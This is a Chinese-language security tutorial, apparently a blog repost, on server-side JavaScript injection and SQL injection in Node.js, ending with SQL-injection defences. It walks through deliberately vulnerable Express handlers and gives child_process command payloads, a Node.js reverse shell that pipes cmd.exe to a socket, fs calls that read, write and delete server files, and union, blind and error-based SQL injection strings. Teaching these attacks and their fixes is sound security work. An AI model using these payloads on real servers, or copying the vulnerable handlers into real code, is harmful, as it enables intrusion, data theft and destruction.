<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SSJI - Node.js漏洞介紹

    VSole2021-11-09 16:16:27

    一、SSJI簡介

    ssji,為服務器端的javascript注入,可分為sql注入和代碼注入

    運行于服務端的javascript常用的有node.js

    node.js 是運行于服務端的javascript

    把javascript變為服務器端的腳本語言

    二、SSJI代碼注入

    SSJI代碼注入原理

    SSJI 代碼注入是一個存在于javascript端的代碼注入,存在于運行于服務端的js代碼注入,當傳入的參數可控且沒有過濾時,就會產生漏洞,攻擊者可以利用js函數執行惡意js代碼

    SSJI代碼注入常用函數

    node.js 常用的命令執行函數,由于它是運行于服務端的javascript,因此它使用的函數和javascript的相似

    常用函數如下

    eval() settimeout() setinterval() function()

    首先看下這里的eval函數

    eval

    函數格式eval(string)

    javascript的eval作用就是計算某個字符串,并執行其中的js代碼

    測試代碼

    var express = require("express");
    var app = express();
    
    app.get('/',function(req,res){
        res.send(eval(req.query.a));
    console.log(req.query.a);
    })
    
    app.listen(3002);
    console.log('Server runing at http://127.0.0.1:3002/');
    

    這里的參數a通過get傳參的方式傳入運行,我們傳入參數會被當作代碼去執行

    這里傳入一個console.log()的查看效果,console.log的作用是在控制臺查看回顯

    看到這里能在控制臺回顯數據

    function()

    函數用法

    function(string)()

    這里的string就是我們傳入的參數

    這里的function用法類似于php里的create_function

    這里用一個簡單的測試代碼測試下function是否可以執行代碼

    var express = require("express");
    var app = express();
    
    var aaa=Function("console.log('Hello world')")();
    
    var server = app.listen(3088,function(){
        console.log("應用實例,訪問地址為 http://127.0.0.1:3088/");
    })
    

    實際測試時,當傳入參數可控時,可能造成代碼執行漏洞

    settimeout()

    函數格式

    settimeout(function,time)

    該函數作用是兩秒后執行函數

    function處為我們可控的參數

    測試代碼

    var express = require("express");
    var app = express();
    
    setTimeout(()=>{
      console.log("console.log('Hello world')");
    },2000);
    
    var server = app.listen(8888,function(){
        console.log("應用實例,訪問地址為 http://127.0.0.1:8888/");
    })
    

    兩秒后執行

    函數測試效果如下

    當這里為一個可控的傳參時,漏洞就可能觸發

    setInterval() 函數

    函數格式(function,time)

    該函數的作用是每個兩秒執行一次代碼

    測試代碼

    var express = require("express");
    var app = express();
    
    setInterval(()=>{
      console.log("console.log('Hello world')");
    },2000);
    
    
    var server = app.listen(8866,function(){
        console.log("應用實例,訪問地址為 http://127.0.0.1:8866/");
    })
    

    函數測試如下

    當這里的function處為可控傳參時,漏洞就有可能觸發

    SSJI代碼注入實際運用

    在實際情況下遇到該怎么運用呢?

    1.利用process模塊進行命令執行

    process的作用是提供當前node.js進程信息并對其進行控制

    這里用的比較多的,是通過child_process,即子進程區域使用,這里它的子進程可以使用更多的服務器資源

    child_process下有許多不同的方法,分別為exec,forx,spawn,execfile這些

    常用的有exec去執行命令

    exec 用子進程執行命令,可以通過回調參數來獲得執行結果

    格式 exec(命令 參數,回調函數)(實際使用可以不加回調函數)

    execfile 不用于執行命令,執行一個可執行文件

    實際利用時,在第一個參數位置執行shell命令,類似exec

    格式1 execfile(命令,{shell:true}) {shell:true} 為開啟命令執行的指令

    spawn 用于執行命令,但不需要獲取執行結果

    格式 spawn(命令,{shell:true}) 和execFile一樣,需要開啟命令執行的指令

    fork 用于執行js文件,實際利用中需要提前寫入惡意文件

    fork 格式 fork(js文件(包含路徑))

    exec

     測試命令

    exec: require('child_process').exec('calc');
    

    效果如下

    execFile

    測試命令如下

    require('child_process').execFile("calc",{shell:true});
    

    效果如下

    彈出了計算器

    fork

    測試命令如下

    require('child_process').fork("./555/hahaha/test92.js");
    

    效果如下

    spawn

    測試代碼

    require(‘child_process’).spawn(“calc”,{shell:true});

    效果如下

    2.寫shell

    這里也可以寫一個反彈shell

    var net = require("net"),
    sh = require("child_process").exec("cmd.exe");
    var client =new net.Socket();
    client.connect(3000,"127.0.0.1",function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    });
    

    通過child_process 去建立一個連接,同時運行cmd

    效果如下

    首先開啟監聽

    再運行node.js

    通過url去傳入代碼

    效果如下

    得到了目標cmd

    3.通過調用核心模塊fs去讀取和寫入文件

    fs是node.js的文件系統模塊,可以通過此模塊來讀取和寫入文件

    常用方法

    語句作用eaddir(path,callback)讀取目錄rmdir(path,callback)刪除目錄readFile(fd,buffer,offset,length,position,callback)讀取文件writeFile(file,data[, options],callback)寫入文件

    這里方法又分為同步方法和異步方法

    同步方法執行完并返回結果后才執行代碼,異步方法使用回調函數接受返回結果,可以立刻執行代碼,這里使用同步方法更加合適,同步方法寫法簡單,在方法后加上Sync即為同步方法

    實際操作的話,需要足夠的權限

    這里使用同步操作的方法去使用

    readdirSync

    示例命令:

    測試代碼

    res.end(require('fs').readdirSync('.').toString())
    

    效果如下

    writeFileSync

    測試代碼

    res.end(require('fs').writeFileSync('./cvb.txt','123456').toString());
    

    效果如下

    雖然報錯,但還是成功寫入

    rmdirSync

    測試代碼

    res.end(require('fs').rmdirSync('./1234').toString());
    

    原有文件夾 1234

    執行后

    報錯

    但是文件夾被刪除


    readFileSync
    res.end(require('fs').readFileSync('./write1.txt').toString());
    

    效果如下

    三、node.js sql注入

    node.js編寫的程序里,也可能存在sql注入,node.js作為一個運行于服務端的javascript后端腳本語言,支持的數據庫有 sqlserver,mysql,sqlite,oracle等數據庫,這里就用mysql舉例

    原理

    和其他語言里存在sql注入漏洞的原因一樣,都是沒有對用戶的輸入做限制,當用戶可控輸入和原本程序要執行代碼,拼接用戶輸入且當作SQL語句去執行

    測試

    node.js的sql注入和php這些都差不多,都是缺少對特殊字符的驗證,用戶可控輸入和原本執行的代碼,拼接用戶輸入且帶入數據庫中當作代碼執行,這里驗證node.js代碼如果沒有做限制就會存在SQL注入

    測試代碼

    var mysql      = require('mysql');
    var express = require("express");
    const app = express();
    
    
    var db = mysql.createConnection({
      host     :'localhost',
      user     :'root',
      password :'root',
      database :'test'
    });
    
    db.connect();
    
    app.get('/hello/:id',(req,res)=>{
    let sql=`select * from user where id= ${req.params.id}`;
        db.query(sql,(err,result)=>{
    if(err){
        console.log(err);
    res.send(err)
    }else{
        console.log(result);
        res.send(result)
    }
    })
    });
    

    app.listen(3018, () => {

    console.log(‘Server runing at http://127.0.0.1:3018/‘);

    })

    首先訪問測試站點

    得到id為1時的數據

    這里測試和一般的sql注入一樣

    首先判斷下

    語句 and 1=1 & and 1=2

    看and 1=1的效果

    再看下and 1=2的效果

    沒有輸出

    聯合查詢

    首先判斷字段

    還是mysql數據庫的,用order by 判斷

    判斷出字段數為3

    用聯合查詢的方式判斷顯錯位

    (這里由于測試的代碼原因,都會顯示到頁面上)

    測試sql語句

    查詢庫名

    查詢表名

    查詢字段

    查詢數據

    不僅是聯合查詢,其他諸如像盲注這些也可以使用

    盲注測試

    測試語句

    and ascii(substr((select database()),1,1))>1

    測試語句

    and ascii(substr((select database()),1,1))>1000

    報錯注入

    測試語句

    and updatexml(‘1’,concat(‘~’,(select database())),’1’)

    如何防止SQL注入

    SQL注入這類問題就是因為沒有做好過濾和對傳參的控制所導致的,那么node.js里如何防止SQL注入問題,主要用到了3個方法

    1.escape() 參數編碼

    node.js里的escape函數用于編碼目標字符串,在sql語句拼接輸入時,將sql語句編碼來起到防止sql注入

    測試代碼

    var mysql      = require('mysql');
    var express = require("express");
    const app = express();
    
    
    var db = mysql.createConnection({
      host     :'localhost',
      user     :'root',
      password :'root',
      database :'test'
    });
    
    db.connect();
    
    app.get('/hello/:id',(req,res)=>{
    req.params.id = escape(req.params.id)
    let sql=`select * from user where id= ${req.params.id}`;
        db.query(sql,(err,result)=>{
    if(err){
        console.log(err);
    }else{
        console.log(result);
        res.send(result)
    }
    })
    });
    
    app.listen(3019,()=>{
    console.log('Server runing at http://127.0.0.1:3019/');
    })
    

    查詢后報錯

    這里直接將查詢語句編碼后放入數據庫查詢報錯

    2.connection.query() 查詢參數占位符

    通過查詢參數占位符的方法來起到繞過效果,通過占位符來達到防止sql注入的方法

    采用?替換查詢參數中的變量

    var mysql      = require('mysql');
    var express = require("express");
    const app = express();
    
    var db = mysql.createConnection({
      host     :'localhost',
      user     :'root',
      password :'root',
      database :'test'
    });
    
    db.connect();
    
    app.get('/hello/:id',(req,res)=>{
        db.query({
        sql:'select * from user where id = ?',
        values:[req.params.id],
    },
    function(err,result){
        console.log(result);
        res.send(result)
    })
    });
    
    app.listen(3020,()=>{
    console.log('Server runing at http://127.0.0.1:3020/');
    });
    

    后續的查詢語句無效,只查詢了參數內容

    3.mysql.format 轉義

    mysql.format用于轉義參數,該函數會自動選擇合適的方法轉義參數

    var mysql      = require('mysql');
    var express = require("express");
    const app = express();
    
    var db = mysql.createConnection({
      host     :'localhost',
      user     :'root',
      password :'root',
      database :'test'
    });
    
    db.connect();
    
    app.get('/hello/:id',(req,res)=>{
    var sql="select * from user where id= ?";
    var inserts =[req.params.id];
    sql=mysql.format(sql,inserts);
        db.query(sql,(err,result)=>{
    if(err){
        console.log(err);
    }else{
        console.log(result);
        res.send(result)
    }
    })
    });
    
    app.listen(3021,()=>{
    console.log('Server runing at http://127.0.0.1:3021/');
    })
    

    只查詢了id參數相關內容,后面的sql語句內容無效

    參考連接

    https://www.mi1k7ea.com/2020/03/29/%E6%B5%85%E6%9E%90Node-js%E5%AE%89%E5%85%A8/#SQL%E6%B3%A8%E5%85%A5

    https://labs.secforce.com/posts/server-side-javascript-injection/

    sql注入mysql
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    Bypass安全狗MySQL注入
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    數據庫注入提權總結
    2022-08-09 16:49:49
    select * from test where id=1 and ;布爾盲注常見的布爾盲注場景有兩種,一是返回值只有True或False的類型,二是Order by盲注。查詢結果正確,則延遲3秒,錯誤則無延時。笛卡爾積延時大約也是3秒HTTP頭注入注入手法和上述相差不多,就是注入點發生了變化HTTP分割注入常見場景,登錄處SQL語句如下
    Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關系數據庫管理系統。它是在數據庫領域一直處于領先地位的產品。可以說Oracle數據庫系統是世界上流行的關系數據庫管理系統,系統可移植性好、使用方便、功能強,適用于各類大、中、小微機環境。它是一種高效率的、可靠性好的、適應高吞吐量的數據庫方案。
    Oracle數據庫的基本知識Oracle數據庫介紹Oracle Database,又名Oracle RDBMS,或簡稱Oracle。
    記一次MySQL注入繞過
    2021-10-07 17:19:49
    SQL注入類型判斷某朋友比賽中讓幫忙看的一道題目,如下查看源碼發現提示?fuzz一下sql注入關鍵字看看都過濾了哪些字符?直接在class參數插入exp回顯正常,插入exp發現返回database error;說明此處sql注入可直接插入執行,其次如果sql語句執行錯誤會返回報錯提示;
    sql注入學習筆記
    2022-07-27 16:52:58
    sql注入學習筆記
    對于攻擊者而言,只需要在POST BODY前面添加許多無用的數據,把攻擊的payload放在最后即可繞過WAF檢測。實驗步驟首先使用BurpSuite抓取數據包,并記下數據包的Header信息編寫好我們的Python腳本進行FUZZ:#!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类